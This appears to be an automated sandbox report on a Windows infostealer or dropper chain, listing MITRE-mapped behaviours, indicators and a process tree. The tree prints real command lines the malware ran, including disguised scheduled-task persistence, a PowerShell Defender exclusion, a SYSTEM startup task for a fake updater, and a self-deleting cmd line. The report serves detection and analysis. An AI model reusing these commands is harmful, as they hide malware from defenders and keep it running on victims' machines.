djvu | 6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	BAAA.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	CAF9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	liyy.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	EB37.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	EB37.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	build2.exe

Executes dropped EXE 25 IoCs

pid	Process
4120	BAAA.exe
1532	BD99.exe
1428	BEE2.exe
4268	CAF9.exe
240	llpb1133a.exe
2744	liyy.exe
3764	XandETC.exe
4140	liyy.exe
4068	E567.exe
1724	E7BA.exe
1904	E990.exe
3432	EB37.exe
2692	ECFD.exe
4760	EB37.exe
3572	EB37.exe
2632	EB37.exe
4668	build2.exe
64	build3.exe
2072	build2.exe
5084	37F1.exe
628	720D.exe
2500	svcupdater.exe
728	774E.exe
4416	mstsca.exe
3096	7F4E.exe

Loads dropped DLL 5 IoCs

pid	Process
3864	rundll32.exe
2072	build2.exe
2072	build2.exe
1592	rundll32.exe
1592	rundll32.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1916	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x000600000001da04-161.dat	vmprotect
behavioral1/files/0x000600000001da04-160.dat	vmprotect
behavioral1/memory/240-167-0x0000000140000000-0x000000014061E000-memory.dmp	vmprotect

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\d3c09216-e931-4126-ae0e-92b99348848a\\EB37.exe\" --AutoStart"	EB37.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
37	api.2ip.ua
40	api.2ip.ua
48	api.2ip.ua

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2692	ECFD.exe
2692	ECFD.exe
2692	ECFD.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3432 set thread context of 4760	3432	EB37.exe	106
PID 3572 set thread context of 2632	3572	EB37.exe	116
PID 4668 set thread context of 2072	4668	build2.exe	125
PID 3096 set thread context of 3080	3096	7F4E.exe	145

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4844	sc.exe
208	sc.exe
4648	sc.exe
4764	sc.exe
3192	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
2120	1428	WerFault.exe	84
3392	4120	WerFault.exe	82
916	4068	WerFault.exe	97
3224	1904	WerFault.exe	101
2580	3864	WerFault.exe	108
2992	2692	WerFault.exe	104
2464	5084	WerFault.exe	129

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E7BA.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E7BA.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	E7BA.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BD99.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BD99.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BD99.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
212	schtasks.exe
5004	schtasks.exe
836	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3320	timeout.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4884	6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe
4884	6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
764	Explorer.EXE

Suspicious behavior: MapViewOfSection 21 IoCs

pid	Process
4884	6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe
1532	BD99.exe
1724	E7BA.exe
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE
764	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 56 IoCs

description	pid	Process
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeShutdownPrivilege	764	Explorer.EXE
Token: SeCreatePagefilePrivilege	764	Explorer.EXE
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeShutdownPrivilege	1640	powercfg.exe
Token: SeCreatePagefilePrivilege	1640	powercfg.exe
Token: SeShutdownPrivilege	4264	powercfg.exe
Token: SeCreatePagefilePrivilege	4264	powercfg.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2744	liyy.exe
2744	liyy.exe
4140	liyy.exe
4140	liyy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 764 wrote to memory of 4120	764	Explorer.EXE	82
PID 764 wrote to memory of 4120	764	Explorer.EXE	82
PID 764 wrote to memory of 4120	764	Explorer.EXE	82
PID 764 wrote to memory of 1532	764	Explorer.EXE	83
PID 764 wrote to memory of 1532	764	Explorer.EXE	83
PID 764 wrote to memory of 1532	764	Explorer.EXE	83
PID 764 wrote to memory of 1428	764	Explorer.EXE	84
PID 764 wrote to memory of 1428	764	Explorer.EXE	84
PID 764 wrote to memory of 1428	764	Explorer.EXE	84
PID 764 wrote to memory of 4268	764	Explorer.EXE	87
PID 764 wrote to memory of 4268	764	Explorer.EXE	87
PID 764 wrote to memory of 4268	764	Explorer.EXE	87
PID 4268 wrote to memory of 240	4268	CAF9.exe	89
PID 4268 wrote to memory of 240	4268	CAF9.exe	89
PID 4120 wrote to memory of 212	4120	BAAA.exe	90
PID 4120 wrote to memory of 212	4120	BAAA.exe	90
PID 4120 wrote to memory of 212	4120	BAAA.exe	90
PID 4268 wrote to memory of 2744	4268	CAF9.exe	92
PID 4268 wrote to memory of 2744	4268	CAF9.exe	92
PID 4268 wrote to memory of 2744	4268	CAF9.exe	92
PID 4268 wrote to memory of 3764	4268	CAF9.exe	94
PID 4268 wrote to memory of 3764	4268	CAF9.exe	94
PID 2744 wrote to memory of 4140	2744	liyy.exe	96
PID 2744 wrote to memory of 4140	2744	liyy.exe	96
PID 2744 wrote to memory of 4140	2744	liyy.exe	96
PID 764 wrote to memory of 4068	764	Explorer.EXE	97
PID 764 wrote to memory of 4068	764	Explorer.EXE	97
PID 764 wrote to memory of 4068	764	Explorer.EXE	97
PID 764 wrote to memory of 1724	764	Explorer.EXE	98
PID 764 wrote to memory of 1724	764	Explorer.EXE	98
PID 764 wrote to memory of 1724	764	Explorer.EXE	98
PID 764 wrote to memory of 1904	764	Explorer.EXE	101
PID 764 wrote to memory of 1904	764	Explorer.EXE	101
PID 764 wrote to memory of 1904	764	Explorer.EXE	101
PID 764 wrote to memory of 3432	764	Explorer.EXE	102
PID 764 wrote to memory of 3432	764	Explorer.EXE	102
PID 764 wrote to memory of 3432	764	Explorer.EXE	102
PID 764 wrote to memory of 2692	764	Explorer.EXE	104
PID 764 wrote to memory of 2692	764	Explorer.EXE	104
PID 764 wrote to memory of 2692	764	Explorer.EXE	104
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 4128 wrote to memory of 3864	4128	rundll32.exe	108
PID 4128 wrote to memory of 3864	4128	rundll32.exe	108
PID 4128 wrote to memory of 3864	4128	rundll32.exe	108
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 3432 wrote to memory of 4760	3432	EB37.exe	106
PID 4760 wrote to memory of 1916	4760	EB37.exe	111
PID 4760 wrote to memory of 1916	4760	EB37.exe	111
PID 4760 wrote to memory of 1916	4760	EB37.exe	111
PID 4760 wrote to memory of 3572	4760	EB37.exe	114
PID 4760 wrote to memory of 3572	4760	EB37.exe	114
PID 4760 wrote to memory of 3572	4760	EB37.exe	114
PID 3572 wrote to memory of 2632	3572	EB37.exe	116
PID 3572 wrote to memory of 2632	3572	EB37.exe	116
PID 3572 wrote to memory of 2632	3572	EB37.exe	116
PID 3572 wrote to memory of 2632	3572	EB37.exe	116
PID 3572 wrote to memory of 2632	3572	EB37.exe	116

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:764
- C:\Users\Admin\AppData\Local\Temp\6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe
  "C:\Users\Admin\AppData\Local\Temp\6283a4ff144bca609f2d2889eb27c1b5ecc81f1ac85a3e20de1875be80d58f92.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4884
- C:\Users\Admin\AppData\Local\Temp\BAAA.exe
  C:\Users\Admin\AppData\Local\Temp\BAAA.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
    3⤵
    - Creates scheduled task(s)
    PID:212
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 1132
    3⤵
    - Program crash
    PID:3392
- C:\Users\Admin\AppData\Local\Temp\BD99.exe
  C:\Users\Admin\AppData\Local\Temp\BD99.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1532
- C:\Users\Admin\AppData\Local\Temp\BEE2.exe
  C:\Users\Admin\AppData\Local\Temp\BEE2.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 448
    3⤵
    - Program crash
    PID:2120
- C:\Users\Admin\AppData\Local\Temp\CAF9.exe
  C:\Users\Admin\AppData\Local\Temp\CAF9.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe
    "C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe"
    3⤵
    - Executes dropped EXE
    PID:240
- - C:\Users\Admin\AppData\Local\Temp\liyy.exe
    "C:\Users\Admin\AppData\Local\Temp\liyy.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Users\Admin\AppData\Local\Temp\liyy.exe
      "C:\Users\Admin\AppData\Local\Temp\liyy.exe" -h
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:4140
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:3764
- C:\Users\Admin\AppData\Local\Temp\E567.exe
  C:\Users\Admin\AppData\Local\Temp\E567.exe
  2⤵
  - Executes dropped EXE
  PID:4068
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4068 -s 812
    3⤵
    - Program crash
    PID:916
- C:\Users\Admin\AppData\Local\Temp\E7BA.exe
  C:\Users\Admin\AppData\Local\Temp\E7BA.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1724
- C:\Users\Admin\AppData\Local\Temp\E990.exe
  C:\Users\Admin\AppData\Local\Temp\E990.exe
  2⤵
  - Executes dropped EXE
  PID:1904
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1904 -s 448
    3⤵
    - Program crash
    PID:3224
- C:\Users\Admin\AppData\Local\Temp\EB37.exe
  C:\Users\Admin\AppData\Local\Temp\EB37.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Users\Admin\AppData\Local\Temp\EB37.exe
    C:\Users\Admin\AppData\Local\Temp\EB37.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\d3c09216-e931-4126-ae0e-92b99348848a" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:1916
  - - C:\Users\Admin\AppData\Local\Temp\EB37.exe
      "C:\Users\Admin\AppData\Local\Temp\EB37.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:3572
    - - C:\Users\Admin\AppData\Local\Temp\EB37.exe
        
        "C:\Users\Admin\AppData\Local\Temp\EB37.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2632
      - C:\Users\Admin\AppData\Local\74c45abe-b638-45ac-b9f5-ce5501b5dab8\build2.exe
        
        "C:\Users\Admin\AppData\Local\74c45abe-b638-45ac-b9f5-ce5501b5dab8\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4668
        
        C:\Users\Admin\AppData\Local\74c45abe-b638-45ac-b9f5-ce5501b5dab8\build2.exe
        
        "C:\Users\Admin\AppData\Local\74c45abe-b638-45ac-b9f5-ce5501b5dab8\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2072
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\74c45abe-b638-45ac-b9f5-ce5501b5dab8\build2.exe" & exit
        8⤵
        
        PID:4176
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3320
      - C:\Users\Admin\AppData\Local\74c45abe-b638-45ac-b9f5-ce5501b5dab8\build3.exe
        
        "C:\Users\Admin\AppData\Local\74c45abe-b638-45ac-b9f5-ce5501b5dab8\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:64
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:5004
- C:\Users\Admin\AppData\Local\Temp\ECFD.exe
  C:\Users\Admin\AppData\Local\Temp\ECFD.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:2692
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:4340
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 716
    3⤵
    - Program crash
    PID:2992
- C:\Users\Admin\AppData\Local\Temp\37F1.exe
  C:\Users\Admin\AppData\Local\Temp\37F1.exe
  2⤵
  - Executes dropped EXE
  PID:5084
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Ruifriwreh.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    PID:1592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5084 -s 480
    3⤵
    - Program crash
    PID:2464
- C:\Users\Admin\AppData\Local\Temp\720D.exe
  C:\Users\Admin\AppData\Local\Temp\720D.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Users\Admin\AppData\Local\Temp\774E.exe
  C:\Users\Admin\AppData\Local\Temp\774E.exe
  2⤵
  - Executes dropped EXE
  PID:728
- C:\Users\Admin\AppData\Local\Temp\7F4E.exe
  C:\Users\Admin\AppData\Local\Temp\7F4E.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3096
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:4716
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:3080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1460
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4520
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:3640
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3444
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1624
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4224
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4832
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4840
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1036
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:5112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4772
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4264
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3184
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:364
- C:\Windows\System32\cmd.exe
